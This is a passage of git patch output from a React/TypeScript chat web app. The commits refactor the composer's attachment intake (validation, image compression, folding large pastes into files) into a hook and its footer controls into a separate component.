loadThreadTranscript, + countReservedAttachments, + countReservedAttachmentsStable, + importContextRecords, + importContextFragment, + importContextFragmentStable, + }; +} From 98c494ec69a47871d8544e45df23d61928326692 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 13:23:40 -0700 Subject: [PATCH 027/130] refactor(web): composer file intake lives in useComposerAttachmentIntake (#23049) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ChatComposer.tsx | 357 ++------------- .../chat/useComposerAttachmentIntake.ts | 423 ++++++++++++++++++ 2 files changed, 450 insertions(+), 330 deletions(-) create mode 100644 apps/web/src/components/chat/useComposerAttachmentIntake.ts diff --git a/apps/web/src/components/chat/ChatComposer.tsx b/apps/web/src/components/chat/ChatComposer.tsx index 127b6a940f9e..e6f68ec3fde5 100644 --- a/apps/web/src/components/chat/ChatComposer.tsx +++ b/apps/web/src/components/chat/ChatComposer.tsx @@ -10,7 +10,6 @@ import { questionAttachmentDraftId, trackOpenQuestionAttachmentDraft, useQuestionAttachmentPreparation, - changeQuestionAttachmentPreparation, } from "../../questionAttachments"; import type { KeybindingCommand, @@ -37,18 +36,11 @@ import { ProviderDriverKind, ProviderInstanceId, PROVIDER_SEND_TURN_MAX_ATTACHMENTS, - PROVIDER_SEND_TURN_MAX_IMAGE_BYTES, - PROVIDER_SEND_TURN_MAX_INPUT_CHARS, } from "@t3tools/contracts"; import type { EnvironmentConnectionPresentation } from "@t3tools/client-runtime/connection"; import { settlePromise, squashAtomCommandFailure } from "@t3tools/client-runtime/state/runtime"; import * as Schema from "effect/Schema"; -import { - isPasteAsTextShortcut, - nextPastedTextFileName, - pastedTextDisposition, - wouldTextPasteExceedLimit, -} from "@t3tools/client-runtime/text-paste"; +import { isPasteAsTextShortcut } from "@t3tools/client-runtime/text-paste"; import { serializeComposerFileLink } from "@t3tools/shared/composerTrigger"; import { folderDropTarget, resolveDroppedFolderPath } from "./folderDrop"; import { splitTransferredFiles } from "./workspaceFileDrop"; @@ -102,7 +94,6 @@ import { type ComposerImageAttachment, type DraftId, type PersistedComposerImageAttachment, - composerFileMatchesReattachMarker, composerFileNeedsReattach, composerDraftHasUserContent, composerTargetKey, @@ -135,19 +126,12 @@ import { type ComposerBannerStackContent, type ComposerBannerStackItem, } from "./ComposerBannerStack"; -import { prepareImageForAttachment } from "../../lib/imageCompression"; -import { - fileAttachmentTooLargeMessage, - formatAttachmentSize, -} from "@t3tools/client-runtime/state/attachments"; import { attachmentsToReleaseOnUploadCapabilityLoss, composerOtherFilesForPresentation, - classifyComposerAttachmentFile, fileAttachmentCapabilityBlockReason, fileAttachmentStagingLimit, isPreviewableComposerVideo, - normalizeComposerImageFileMimeType, shouldHandleComposerAttachmentPaste, } from "./composerAttachmentFiles"; import { @@ -181,7 +165,6 @@ import { import { useOpenPrLink } from "~/lib/openPullRequestLink"; import { collectInlineContextIds, - stripInlineContextReferences, type ComposerContextReference, ensureInlineContextReferences, formatInlineContextReference, @@ -191,8 +174,6 @@ import { import { attachmentContextRecord, uploadedAttachmentContextRecord, - fileContextReference, - imageContextReference, previewAnnotationContextId, previewAnnotationContextRecord, reviewCommentContextId, @@ -206,7 +187,6 @@ import { import { rememberCopiedComposerAttachments } from "~/lib/copiedComposerAttachments"; import { useThreadContextDrop, threadContextDropTargetProps } from "./threadContextDrag"; import { readThreadShell } from "~/state/entities"; -import { requestConfirmDialog } from "~/confirmDialog"; import { encodeComposerContextFragment } from "@t3tools/shared/composerContextClipboard"; import type { ComposerContextRecord, ThreadPullRequestLink } from "@t3tools/contracts"; import { threadContextAttachment } from "~/lib/threadContextAttachment"; @@ -289,7 +269,6 @@ import { type SessionPhase, type Thread, type ThreadShell, - videoMimeType, } from "../../types"; import { buildComposerPromptHistoryEntries, @@ -326,6 +305,7 @@ import { useComposerProviderModel } from "./useComposerProviderModel"; import { useComposerImageGroups } from "./useComposerImageGroups"; import { useComposerStash } from "./useComposerStash"; import { useComposerContextImport } from "./useComposerContextImport"; +import { useComposerAttachmentIntake } from "./useComposerAttachmentIntake"; /** Reads and disarms a paste-as-text deadline: the shortcut applies to one paste only. */ function consumePasteAsTextShortcut(deadline: { current: number }): boolean { @@ -1154,10 +1134,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) const composerEditorRef = useRef(null); const pasteAsTextShortcutUntilRef = useRef(0); - const pastedTextFileNamesRef = useRef<{ targetKey: string; names: Set }>({ - targetKey: "", - names: new Set(), - }); const composerFormRef = useRef(null); const composerSurfaceRef = useRef(null); const providerInputRejectedRef = useRef(false); @@ -3015,312 +2991,33 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) }); }; - const addComposerAttachments = async ( - files: File[], - options?: { - readonly source?: ChatFileAttachment["source"]; - readonly selection?: { start: number; end: number }; - readonly skipImageInlineChip?: boolean; - }, - ): Promise => { - if (!activeThreadId || files.length === 0 || isRevertingCheckpointRef.current) return false; - if ( - pendingUserInputs.length > 0 && - (!supportsQuestionAttachments || - activePendingProgress?.activeQuestion?.allowCustomAnswer === false || - activePendingIsResponding) - ) { - toastManager.add({ - type: "error", - title: "This question cannot accept attachments.", - }); - return false; - } - // Captured before the awaits below: the user may switch threads while a - // large image is being compressed, and the attachments and errors belong - // to the thread the paste happened in. - const threadId = activeThreadId; - const imageAttachmentsGetChips = - !options?.skipImageInlineChip && - (options?.selection !== undefined || - isConnecting || - pendingUserInputs.length > 0 || - projectSelectionRequired || - stripInlineContextReferences(promptRef.current).trim().length > 0); - - // Validation happens synchronously so concurrent pastes see each other: - // accepted files reserve their attachment slots (via the pending counter) - // before the first await, keeping the total under the limit. - const pendingCount = pendingImageCompressionsRef.current.get(attachmentTargetKey) ?? 0; - let reservedCount = countReservedAttachments(); - // A pick that matches a needs-reattach marker replaces it in the draft, so - // it must not consume a slot; a draft full of markers would otherwise hit - // the capacity error before the replacement path could run. - const reattachMarkers = composerFilesRef.current.filter(composerFileNeedsReattach); - const replacedReattachMarkerIds = new Set(); - const acceptedImages: File[] = []; - const acceptedFiles: ComposerFileAttachment[] = []; - let error: string | null = null; - for (const file of files) { - const attachmentKind = classifyComposerAttachmentFile(file); - const fileMimeType = - attachmentKind === "file" - ? (videoMimeType({ name: file.name, mimeType: file.type }) ?? - (file.type || "application/octet-stream")) - : file.type; - const matchingReattachMarker = - attachmentKind === "file" - ? reattachMarkers.find( - (marker) => - !replacedReattachMarkerIds.has(marker.id) && - composerFileMatchesReattachMarker(marker, { - name: file.name || "file", - mimeType: fileMimeType, - sizeBytes: file.size, - }), - ) - : undefined; - if (matchingReattachMarker) { - replacedReattachMarkerIds.add(matchingReattachMarker.id); - } - if (!matchingReattachMarker && reservedCount >= PROVIDER_SEND_TURN_MAX_ATTACHMENTS) { - error = `You can attach up to ${PROVIDER_SEND_TURN_MAX_ATTACHMENTS} files per message.`; - continue; - } - if (attachmentKind === "unsupported-image") { - error = `'${file.name}' is not a supported image type. Attach GIF, HEIC, HEIF, JPEG, PNG, or WebP images.`; - continue; - } - if (attachmentKind === "image") { - acceptedImages.push(normalizeComposerImageFileMimeType(file)); - } else { - if (fileStagingLimit === null) { - error = "This server does not support file attachments."; - continue; - } - if (file.size <= 0) { - error = `'${file.name}' is empty or could not be read.`; - continue; - } - if (file.size > fileStagingLimit) { - error = fileAttachmentTooLargeMessage(file.name, fileStagingLimit); - continue; - } - const attachmentFile = - file.type === fileMimeType - ? file - : new File([file], file.name, { type: fileMimeType, lastModified: file.lastModified }); - acceptedFiles.push({ - type: "file", - id: randomUUID(), - name: attachmentFile.name || "file", - mimeType: fileMimeType, - sizeBytes: attachmentFile.size, - file: attachmentFile, - ...(options?.source ? { source: options.source } : {}), - }); - } - if (!matchingReattachMarker) { - reservedCount += 1; - } - } - setThreadError(threadId, error); - let insertedAny = false; - if (acceptedFiles.length > 0) { - const storedIds = new Set(addComposerFilesToDraft(acceptedFiles)); - const storedFiles = acceptedFiles.filter((file) => storedIds.has(file.id)); - if (storedFiles.length > 0) { - insertedAny = insertAttachmentReferences( - storedFiles.map(fileContextReference), - options?.selection, - ); - } - if (options?.source?._tag === "pasted-text" && storedFiles.length > 0) { - const attached = storedFiles[0]!; - toastManager.add({ - type: "info", - title: `Large paste attached as ${attached.name}`, - description: `${formatAttachmentSize(attached.sizeBytes)} · Use ${ - isMacPlatform(navigator.platform) ? "⌘⇧V" : "Ctrl+Shift+V" - } to keep a large paste inline.`, - data: { hideCopyButton: true }, - }); - } - } - if (acceptedImages.length === 0) return insertedAny; - - pendingImageCompressionsRef.current.set( + const { addComposerAttachments, removeComposerImage, foldPastedText } = + useComposerAttachmentIntake({ + activeThreadId, + activePendingProgress, + activePendingIsResponding, + pendingUserInputs, + supportsQuestionAttachments, + isLiteralPendingAnswer, + isConnecting, + projectSelectionRequired, + questionAttachmentTarget, attachmentTargetKey, - pendingCount + acceptedImages.length, - ); - if (questionAttachmentTarget) - changeQuestionAttachmentPreparation(questionAttachmentTarget, acceptedImages.length); - const compressAndStoreImages = async (): Promise => { - const nextImages: ComposerImageAttachment[] = []; - let compressionError: string | null = null; - for (const file of acceptedImages) { - const compressed = await prepareImageForAttachment( - file, - PROVIDER_SEND_TURN_MAX_IMAGE_BYTES, - ); - if (!compressed.ok) { - compressionError = - compressed.reason === "unreadable" - ? `'${file.name}' could not be read as an image.` - : `'${file.name}' is too large to attach, even after compression.`; - continue; - } - const attachmentFile = compressed.file; - const previewUrl = URL.createObjectURL(attachmentFile); - nextImages.push({ - type: "image", - id: randomUUID(), - name: attachmentFile.name || "image", - mimeType: attachmentFile.type, - sizeBytes: attachmentFile.size, - previewUrl, - file: attachmentFile, - }); - } - if ( - questionAttachmentTarget && - !useQuestionAttachmentPreparation.getState().counts[questionAttachmentTarget] - ) { - for (const image of nextImages) URL.revokeObjectURL(image.previewUrl); - return false; - } - const storedImageIds = new Set( - nextImages.length === 1 && nextImages[0] - ? addComposerImage(nextImages[0]) - : nextImages.length > 1 - ? addComposerImagesToDraft(nextImages) - : [], - ); - const storedImages = nextImages.filter((image) => storedImageIds.has(image.id)); - if (storedImages.length > 0 && imageAttachmentsGetChips) { - insertedAny = - insertAttachmentReferences(storedImages.map(imageContextReference)) || insertedAny; - } - // Only failures are reported here. Success must not pass `null`: by - // now other work (a failed send, an overlapping paste) may have set a - // thread error this call knows nothing about, and clearing it would - // swallow that message. - if (compressionError !== null) { - setThreadError(threadId, compressionError); - } - return insertedAny; - }; - return await compressAndStoreImages().finally(() => { - if (questionAttachmentTarget) - changeQuestionAttachmentPreparation(questionAttachmentTarget, -acceptedImages.length); - const remaining = - (pendingImageCompressionsRef.current.get(attachmentTargetKey) ?? 0) - acceptedImages.length; - if (remaining > 0) { - pendingImageCompressionsRef.current.set(attachmentTargetKey, remaining); - } else { - pendingImageCompressionsRef.current.delete(attachmentTargetKey); - } - }); - }; - - const removeComposerImage = (imageId: string) => { - const image = composerImagesRef.current.find((candidate) => candidate.id === imageId); - const referenced = collectInlineContextIds(promptRef.current).includes( - image ? imageContextReference(image).contextId : "", - ); - if (!referenced) { - removeComposerImageFromDraft(imageId); - return; - } - const confirmation = requestConfirmDialog( - `Remove ${image?.name ?? "this image"} from the message?\nIt is referenced in your text; removing it also removes every reference.`, - { variant: "destructive" }, - ); - if (!confirmation) { - removeComposerImageFromDraft(imageId); - return; - } - void confirmation.then((confirmed) => { - if (confirmed) removeComposerImageFromDraft(imageId); - }); - }; - - const foldPastedText = ( - plainText: string, - bypassAutoAttachment: boolean, - selectionOverride?: { start: number; end: number }, - ): boolean => { - if (isLiteralPendingAnswer) return false; - const questionCanAttach = - pendingUserInputs.length === 0 || - (supportsQuestionAttachments && - activePendingProgress?.activeQuestion?.allowCustomAnswer !== false && - !activePendingIsResponding); - const hasAttachmentSlot = countReservedAttachments() < PROVIDER_SEND_TURN_MAX_ATTACHMENTS; - const selection = selectionOverride ?? composerEditorRef.current?.readSelectionRange(); - const wouldExceedInputLimit = wouldTextPasteExceedLimit({ - valueLength: promptRef.current.length, - selection: selection ?? { start: 0, end: 0 }, - textLength: plainText.length, - maxLength: PROVIDER_SEND_TURN_MAX_INPUT_CHARS, - }); - const shouldFold = - pastedTextDisposition({ - text: plainText, - bypassAutoAttachment, - wouldExceedInputLimit, - canAttach: true, - }) === "attachment"; - if (!shouldFold) { - return false; - } - - const canStageAttachment = - Boolean(activeThreadId) && - !isRevertingCheckpointRef.current && - questionCanAttach && - hasAttachmentSlot; - if (!canStageAttachment || fileStagingLimit === null) { - if (!wouldExceedInputLimit) { - return false; - } - toastManager.add({ - type: "error", - title: "Pasted text is too large for this message", - description: "Remove some text or an attachment, then paste again.", - data: { hideCopyButton: true }, - }); - return true; - } - - if (pastedTextFileNamesRef.current.targetKey !== attachmentTargetKey) { - pastedTextFileNamesRef.current = { targetKey: attachmentTargetKey, names: new Set() }; - } - const reservedNames = pastedTextFileNamesRef.current.names; - for (const file of composerFilesRef.current) reservedNames.add(file.name); - const foldedFileName = nextPastedTextFileName([...reservedNames]); - reservedNames.add(foldedFileName); - const foldedFile = new File([plainText], foldedFileName, { - type: "text/plain;charset=utf-8", - }); - if (foldedFile.size > fileStagingLimit) { - reservedNames.delete(foldedFileName); - if (!wouldExceedInputLimit) return false; - toastManager.add({ - type: "error", - title: "Pasted text is too large to attach", - description: "Reduce the clipboard contents or save a smaller excerpt as a file.", - data: { hideCopyButton: true }, - }); - return true; - } - - void addComposerAttachments([foldedFile], { - source: { _tag: "pasted-text" }, - ...(selection ? { selection } : {}), + fileStagingLimit, + promptRef, + composerImagesRef, + composerFilesRef, + composerEditorRef, + isRevertingCheckpointRef, + pendingImageCompressionsRef, + setThreadError, + countReservedAttachments, + addComposerImage, + addComposerImagesToDraft, + addComposerFilesToDraft, + removeComposerImageFromDraft, + insertAttachmentReferences, }); - return true; - }; const onComposerCommandKeyStable = useStableCallback(onComposerCommandKey); const isPathQueryActiveStable = useStableCallback( diff --git a/apps/web/src/components/chat/useComposerAttachmentIntake.ts b/apps/web/src/components/chat/useComposerAttachmentIntake.ts new file mode 100644 index 000000000000..36ffebd4fd28 --- /dev/null +++ b/apps/web/src/components/chat/useComposerAttachmentIntake.ts @@ -0,0 +1,423 @@ +import type { ChatComposerProps } from "./ChatComposer"; +import { + type ChatFileAttachment, + PROVIDER_SEND_TURN_MAX_ATTACHMENTS, + PROVIDER_SEND_TURN_MAX_IMAGE_BYTES, + PROVIDER_SEND_TURN_MAX_INPUT_CHARS, +} from "@t3tools/contracts"; +import { + type ComposerContextReference, + collectInlineContextIds, + stripInlineContextReferences, +} from "~/lib/composerContextReferences"; +import { + type ComposerFileAttachment, + type ComposerImageAttachment, + type DraftId, + composerFileMatchesReattachMarker, + composerFileNeedsReattach, +} from "../../composerDraftStore"; +import { type ComposerPromptEditorHandle } from "../ComposerPromptEditor"; +import { type PendingUserInput } from "../../session-logic"; +import { + changeQuestionAttachmentPreparation, + useQuestionAttachmentPreparation, +} from "../../questionAttachments"; +import { + classifyComposerAttachmentFile, + normalizeComposerImageFileMimeType, +} from "./composerAttachmentFiles"; +import { + fileAttachmentTooLargeMessage, + formatAttachmentSize, +} from "@t3tools/client-runtime/state/attachments"; +import { fileContextReference, imageContextReference } from "~/lib/composerContextRecords"; +import { isMacPlatform, randomUUID } from "~/lib/utils"; +import { + nextPastedTextFileName, + pastedTextDisposition, + wouldTextPasteExceedLimit, +} from "@t3tools/client-runtime/text-paste"; +import { prepareImageForAttachment } from "../../lib/imageCompression"; +import { requestConfirmDialog } from "~/confirmDialog"; +import { toastManager } from "../ui/toast"; +import { type RefObject, useRef } from "react"; +import { videoMimeType } from "../../types"; + +/** + * Takes files into the draft: validates and reserves slots, compresses images, inserts + * their inline chips, folds large pastes into text attachments, and confirms removing a referenced image. + */ +export function useComposerAttachmentIntake(input: { + readonly activeThreadId: ChatComposerProps["activeThreadId"]; + readonly activePendingProgress: ChatComposerProps["activePendingProgress"]; + readonly activePendingIsResponding: boolean; + readonly pendingUserInputs: ReadonlyArray; + readonly supportsQuestionAttachments: boolean; + readonly isLiteralPendingAnswer: boolean; + readonly isConnecting: boolean; + readonly projectSelectionRequired: boolean; + readonly questionAttachmentTarget: DraftId | null; + readonly attachmentTargetKey: string; + readonly fileStagingLimit: number | null; + readonly promptRef: ChatComposerProps["promptRef"]; + readonly composerImagesRef: ChatComposerProps["composerImagesRef"]; + readonly composerFilesRef: ChatComposerProps["composerFilesRef"]; + readonly composerEditorRef: RefObject; + readonly isRevertingCheckpointRef: RefObject; + readonly pendingImageCompressionsRef: RefObject>; + readonly setThreadError: ChatComposerProps["setThreadError"]; + readonly countReservedAttachments: () => number; + readonly addComposerImage: (image: ComposerImageAttachment) => string[]; + readonly addComposerImagesToDraft: (images: ComposerImageAttachment[]) => string[]; + readonly addComposerFilesToDraft: (files: ComposerFileAttachment[]) => string[]; + readonly removeComposerImageFromDraft: (imageId: string) => void; + readonly insertAttachmentReferences: ( + references: ReadonlyArray, + selection?: { start: number; end: number }, + ) => boolean; +}) { + const { + activeThreadId, + activePendingProgress, + activePendingIsResponding, + pendingUserInputs, + supportsQuestionAttachments, + isLiteralPendingAnswer, + isConnecting, + projectSelectionRequired, + questionAttachmentTarget, + attachmentTargetKey, + fileStagingLimit, + promptRef, + composerImagesRef, + composerFilesRef, + composerEditorRef, + isRevertingCheckpointRef, + pendingImageCompressionsRef, + setThreadError, + countReservedAttachments, + addComposerImage, + addComposerImagesToDraft, + addComposerFilesToDraft, + removeComposerImageFromDraft, + insertAttachmentReferences, + } = input; + const pastedTextFileNamesRef = useRef<{ targetKey: string; names: Set }>({ + targetKey: "", + names: new Set(), + }); + + const addComposerAttachments = async ( + files: File[], + options?: { + readonly source?: ChatFileAttachment["source"]; + readonly selection?: { start: number; end: number }; + readonly skipImageInlineChip?: boolean; + }, + ): Promise => { + if (!activeThreadId || files.length === 0 || isRevertingCheckpointRef.current) return false; + if ( + pendingUserInputs.length > 0 && + (!supportsQuestionAttachments || + activePendingProgress?.activeQuestion?.allowCustomAnswer === false || + activePendingIsResponding) + ) { + toastManager.add({ + type: "error", + title: "This question cannot accept attachments.", + }); + return false; + } + // Captured before the awaits below: the user may switch threads while a + // large image is being compressed, and the attachments and errors belong + // to the thread the paste happened in. + const threadId = activeThreadId; + const imageAttachmentsGetChips = + !options?.skipImageInlineChip && + (options?.selection !== undefined || + isConnecting || + pendingUserInputs.length > 0 || + projectSelectionRequired || + stripInlineContextReferences(promptRef.current).trim().length > 0); + + // Validation happens synchronously so concurrent pastes see each other: + // accepted files reserve their attachment slots (via the pending counter) + // before the first await, keeping the total under the limit. + const pendingCount = pendingImageCompressionsRef.current.get(attachmentTargetKey) ?? 0; + let reservedCount = countReservedAttachments(); + // A pick that matches a needs-reattach marker replaces it in the draft, so + // it must not consume a slot; a draft full of markers would otherwise hit + // the capacity error before the replacement path could run. + const reattachMarkers = composerFilesRef.current.filter(composerFileNeedsReattach); + const replacedReattachMarkerIds = new Set(); + const acceptedImages: File[] = []; + const acceptedFiles: ComposerFileAttachment[] = []; + let error: string | null = null; + for (const file of files) { + const attachmentKind = classifyComposerAttachmentFile(file); + const fileMimeType = + attachmentKind === "file" + ? (videoMimeType({ name: file.name, mimeType: file.type }) ?? + (file.type || "application/octet-stream")) + : file.type; + const matchingReattachMarker = + attachmentKind === "file" + ? reattachMarkers.find( + (marker) => + !replacedReattachMarkerIds.has(marker.id) && + composerFileMatchesReattachMarker(marker, { + name: file.name || "file", + mimeType: fileMimeType, + sizeBytes: file.size, + }), + ) + : undefined; + if (matchingReattachMarker) { + replacedReattachMarkerIds.add(matchingReattachMarker.id); + } + if (!matchingReattachMarker && reservedCount >= PROVIDER_SEND_TURN_MAX_ATTACHMENTS) { + error = `You can attach up to ${PROVIDER_SEND_TURN_MAX_ATTACHMENTS} files per message.`; + continue; + } + if (attachmentKind === "unsupported-image") { + error = `'${file.name}' is not a supported image type. Attach GIF, HEIC, HEIF, JPEG, PNG, or WebP images.`; + continue; + } + if (attachmentKind === "image") { + acceptedImages.push(normalizeComposerImageFileMimeType(file)); + } else { + if (fileStagingLimit === null) { + error = "This server does not support file attachments."; + continue; + } + if (file.size <= 0) { + error = `'${file.name}' is empty or could not be read.`; + continue; + } + if (file.size > fileStagingLimit) { + error = fileAttachmentTooLargeMessage(file.name, fileStagingLimit); + continue; + } + const attachmentFile = + file.type === fileMimeType + ? file + : new File([file], file.name, { type: fileMimeType, lastModified: file.lastModified }); + acceptedFiles.push({ + type: "file", + id: randomUUID(), + name: attachmentFile.name || "file", + mimeType: fileMimeType, + sizeBytes: attachmentFile.size, + file: attachmentFile, + ...(options?.source ? { source: options.source } : {}), + }); + } + if (!matchingReattachMarker) { + reservedCount += 1; + } + } + setThreadError(threadId, error); + let insertedAny = false; + if (acceptedFiles.length > 0) { + const storedIds = new Set(addComposerFilesToDraft(acceptedFiles)); + const storedFiles = acceptedFiles.filter((file) => storedIds.has(file.id)); + if (storedFiles.length > 0) { + insertedAny = insertAttachmentReferences( + storedFiles.map(fileContextReference), + options?.selection, + ); + } + if (options?.source?._tag === "pasted-text" && storedFiles.length > 0) { + const attached = storedFiles[0]!; + toastManager.add({ + type: "info", + title: `Large paste attached as ${attached.name}`, + description: `${formatAttachmentSize(attached.sizeBytes)} · Use ${ + isMacPlatform(navigator.platform) ? "⌘⇧V" : "Ctrl+Shift+V" + } to keep a large paste inline.`, + data: { hideCopyButton: true }, + }); + } + } + if (acceptedImages.length === 0) return insertedAny; + + pendingImageCompressionsRef.current.set( + attachmentTargetKey, + pendingCount + acceptedImages.length, + ); + if (questionAttachmentTarget) + changeQuestionAttachmentPreparation(questionAttachmentTarget, acceptedImages.length); + const compressAndStoreImages = async (): Promise => { + const nextImages: ComposerImageAttachment[] = []; + let compressionError: string | null = null; + for (const file of acceptedImages) { + const compressed = await prepareImageForAttachment( + file, + PROVIDER_SEND_TURN_MAX_IMAGE_BYTES, + ); + if (!compressed.ok) { + compressionError = + compressed.reason === "unreadable" + ? `'${file.name}' could not be read as an image.` + : `'${file.name}' is too large to attach, even after compression.`; + continue; + } + const attachmentFile = compressed.file; + const previewUrl = URL.createObjectURL(attachmentFile); + nextImages.push({ + type: "image", + id: randomUUID(), + name: attachmentFile.name || "image", + mimeType: attachmentFile.type, + sizeBytes: attachmentFile.size, + previewUrl, + file: attachmentFile, + }); + } + if ( + questionAttachmentTarget && + !useQuestionAttachmentPreparation.getState().counts[questionAttachmentTarget] + ) { + for (const image of nextImages) URL.revokeObjectURL(image.previewUrl); + return false; + } + const storedImageIds = new Set( + nextImages.length === 1 && nextImages[0] + ? addComposerImage(nextImages[0]) + : nextImages.length > 1 + ? addComposerImagesToDraft(nextImages) + : [], + ); + const storedImages = nextImages.filter((image) => storedImageIds.has(image.id)); + if (storedImages.length > 0 && imageAttachmentsGetChips) { + insertedAny = + insertAttachmentReferences(storedImages.map(imageContextReference)) || insertedAny; + } + // Only failures are reported here. Success must not pass `null`: by + // now other work (a failed send, an overlapping paste) may have set a + // thread error this call knows nothing about, and clearing it would + // swallow that message. + if (compressionError !== null) { + setThreadError(threadId, compressionError); + } + return insertedAny; + }; + return await compressAndStoreImages().finally(() => { + if (questionAttachmentTarget) + changeQuestionAttachmentPreparation(questionAttachmentTarget, -acceptedImages.length); + const remaining = + (pendingImageCompressionsRef.current.get(attachmentTargetKey) ?? 0) - acceptedImages.length; + if (remaining > 0) { + pendingImageCompressionsRef.current.set(attachmentTargetKey, remaining); + } else { + pendingImageCompressionsRef.current.delete(attachmentTargetKey); + } + }); + }; + + const removeComposerImage = (imageId: string) => { + const image = composerImagesRef.current.find((candidate) => candidate.id === imageId); + const referenced = collectInlineContextIds(promptRef.current).includes( + image ? imageContextReference(image).contextId : "", + ); + if (!referenced) { + removeComposerImageFromDraft(imageId); + return; + } + const confirmation = requestConfirmDialog( + `Remove ${image?.name ?? "this image"} from the message?\nIt is referenced in your text; removing it also removes every reference.`, + { variant: "destructive" }, + ); + if (!confirmation) { + removeComposerImageFromDraft(imageId); + return; + } + void confirmation.then((confirmed) => { + if (confirmed) removeComposerImageFromDraft(imageId); + }); + }; + + const foldPastedText = ( + plainText: string, + bypassAutoAttachment: boolean, + selectionOverride?: { start: number; end: number }, + ): boolean => { + if (isLiteralPendingAnswer) return false; + const questionCanAttach = + pendingUserInputs.length === 0 || + (supportsQuestionAttachments && + activePendingProgress?.activeQuestion?.allowCustomAnswer !== false && + !activePendingIsResponding); + const hasAttachmentSlot = countReservedAttachments() < PROVIDER_SEND_TURN_MAX_ATTACHMENTS; + const selection = selectionOverride ?? composerEditorRef.current?.readSelectionRange(); + const wouldExceedInputLimit = wouldTextPasteExceedLimit({ + valueLength: promptRef.current.length, + selection: selection ?? { start: 0, end: 0 }, + textLength: plainText.length, + maxLength: PROVIDER_SEND_TURN_MAX_INPUT_CHARS, + }); + const shouldFold = + pastedTextDisposition({ + text: plainText, + bypassAutoAttachment, + wouldExceedInputLimit, + canAttach: true, + }) === "attachment"; + if (!shouldFold) { + return false; + } + + const canStageAttachment = + Boolean(activeThreadId) && + !isRevertingCheckpointRef.current && + questionCanAttach && + hasAttachmentSlot; + if (!canStageAttachment || fileStagingLimit === null) { + if (!wouldExceedInputLimit) { + return false; + } + toastManager.add({ + type: "error", + title: "Pasted text is too large for this message", + description: "Remove some text or an attachment, then paste again.", + data: { hideCopyButton: true }, + }); + return true; + } + + if (pastedTextFileNamesRef.current.targetKey !== attachmentTargetKey) { + pastedTextFileNamesRef.current = { targetKey: attachmentTargetKey, names: new Set() }; + } + const reservedNames = pastedTextFileNamesRef.current.names; + for (const file of composerFilesRef.current) reservedNames.add(file.name); + const foldedFileName = nextPastedTextFileName([...reservedNames]); + reservedNames.add(foldedFileName); + const foldedFile = new File([plainText], foldedFileName, { + type: "text/plain;charset=utf-8", + }); + if (foldedFile.size > fileStagingLimit) { + reservedNames.delete(foldedFileName); + if (!wouldExceedInputLimit) return false; + toastManager.add({ + type: "error", + title: "Pasted text is too large to attach", + description: "Reduce the clipboard contents or save a smaller excerpt as a file.", + data: { hideCopyButton: true }, + }); + return true; + } + + void addComposerAttachments([foldedFile], { + source: { _tag: "pasted-text" }, + ...(selection ? { selection } : {}), + }); + return true; + }; + + return { + addComposerAttachments, + removeComposerImage, + foldPastedText, + }; +} From 1444b3f99442630c92abfb5157840d500487d145 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 13:23:40 -0700 Subject: [PATCH 028/130] refactor(web): the composer's footer controls render in ComposerControlsBar (#23058) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ChatComposer.tsx | 246 +++---------- .../components/chat/ComposerControlsBar.tsx | 331 ++++++++++++++++++ 2 files changed, 376 insertions(+), 201 deletions(-) create mode 100644 apps/web/src/components/chat/ComposerControlsBar.tsx diff --git a/apps/web/src/components/chat/ChatComposer.tsx b/apps/web/src/components/chat/ChatComposer.tsx index e6f68ec3fde5..becc6beafdda 100644 --- a/apps/web/src/components/chat/ChatComposer.tsx +++ b/apps/web/src/components/chat/ChatComposer.tsx @@ -196,7 +196,6 @@ import { composerSuggestionOptionId, } from "./ComposerCommandMenu"; import { ComposerPendingApprovalActions } from "./ComposerPendingApprovalActions"; -import { CompactComposerControlsMenu } from "./CompactComposerControlsMenu"; import { ComposerAttachButton, ComposerAttachmentFileList, @@ -206,23 +205,13 @@ import { ComposerRestingImagePreviews, } from "./ComposerAttachmentStrip"; import { ComposerPrimaryActions } from "./ComposerPrimaryActions"; -import { - ComposerFooterModeControls, - ComposerFooterPrimaryActions, - ComposerModelPicker, -} from "./ComposerFooterControls"; +import { ComposerFooterPrimaryActions } from "./ComposerFooterControls"; import { ComposerPendingApprovalPanel } from "./ComposerPendingApprovalPanel"; import { ComposerPendingUserInputPanel } from "./ComposerPendingUserInputPanel"; import { ComposerPlanFollowUpBanner } from "./ComposerPlanFollowUpBanner"; -import { ComposerControl, ComposerControlSeparator } from "./ComposerControl"; import { resolveComposerMenuActiveItemId } from "./composerMenuHighlight"; import { buildPullRequestReferenceContext } from "../pullRequest/pullRequestDetail.logic"; -import { - getComposerPromptInjectionState, - getComposerReasoningStep, - renderProviderTraitsMenuContent, - renderProviderTraitsPicker, -} from "./composerProviderState"; +import { getComposerPromptInjectionState, getComposerReasoningStep } from "./composerProviderState"; import { readPromptUltrathink } from "./TraitsPicker"; import { providerSupportsManualCompaction, @@ -258,7 +247,7 @@ const isEnvironmentRequestInvalidError = Schema.is(EnvironmentRequestInvalidErro const COMPOSER_SCROLL_COLLAPSE_THRESHOLD_PX = 24; const COMPOSER_SCROLL_GESTURE_RESET_MS = 120; import { toastManager } from "../ui/toast"; -import { CircleAlertIcon, PlayIcon, ShieldIcon } from "lucide-react"; +import { PlayIcon, ShieldIcon } from "lucide-react"; import { proposedPlanTitle } from "@t3tools/shared/proposedPlanText"; import { hasProviderSetup } from "./ProviderStatusBanner"; import { type AppModelOption, getAppModelOptionsForInstance } from "../../modelSelection"; @@ -306,6 +295,7 @@ import { useComposerImageGroups } from "./useComposerImageGroups"; import { useComposerStash } from "./useComposerStash"; import { useComposerContextImport } from "./useComposerContextImport"; import { useComposerAttachmentIntake } from "./useComposerAttachmentIntake"; +import { ComposerControlsBar } from "./ComposerControlsBar"; /** Reads and disarms a paste-as-text deadline: the shortcut applies to one paste only. */ function consumePasteAsTextShortcut(deadline: { current: number }): boolean { @@ -1300,34 +1290,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) const editPromptFromTraitsStable = useStableCallback(editPromptFromTraits); const promptUltrathink = readPromptUltrathink(prompt); - const providerTraitsMenuContent = renderProviderTraitsMenuContent({ - provider: selectedProvider, - instanceId: selectedInstanceId, - 